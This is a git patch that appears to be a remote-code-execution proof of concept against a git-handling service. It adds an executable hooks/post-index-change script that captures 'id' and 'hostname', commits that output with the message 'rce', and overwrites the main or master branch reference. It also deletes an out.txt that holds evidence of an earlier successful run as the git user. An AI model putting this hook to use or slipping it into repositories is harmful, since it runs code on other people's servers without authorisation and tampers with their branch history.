From d8276c3de2f6c8f0c7457ebfcb93cbc41bac51d1 Mon Sep 17 00:00:00 2001 From: xqj8xx52n Date: Thu, 30 Jul 2026 22:50:20 +0000 Subject: [PATCH] patch2 --- README.md | 2 ++ hooks/post-index-change | 11 +++++++++++ out.txt | 1 - 3 files changed, 13 insertions(+), 1 deletion(-) create mode 100644 README.md create mode 100755 hooks/post-index-change delete mode 100644 out.txt diff --git a/README.md b/README.md new file mode 100644 index 0000000..7c6e2d7 --- /dev/null +++ b/README.md @@ -0,0 +1,2 @@ +# r813432 + diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..12b6b28 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,11 @@ +#!/bin/sh +OUTPUT="HOOK_FIRED_$(id|head -c 100)_$(hostname)_END" +BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin) +TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree) +HEAD_SHA=$(git rev-parse HEAD 2>/dev/null) +if [ -n "$HEAD_SHA" ]; then + COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce") +else + COMMIT=$(git commit-tree "$TREE" -m "rce") +fi +git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null diff --git a/out.txt b/out.txt deleted file mode 100644 index 3062e92..0000000 --- a/out.txt +++ /dev/null @@ -1 +0,0 @@ -HOOK_FIRED_uid=1000(git) gid=1000(git) groups=1000(git),1000(git)_17f677a6d4a2_END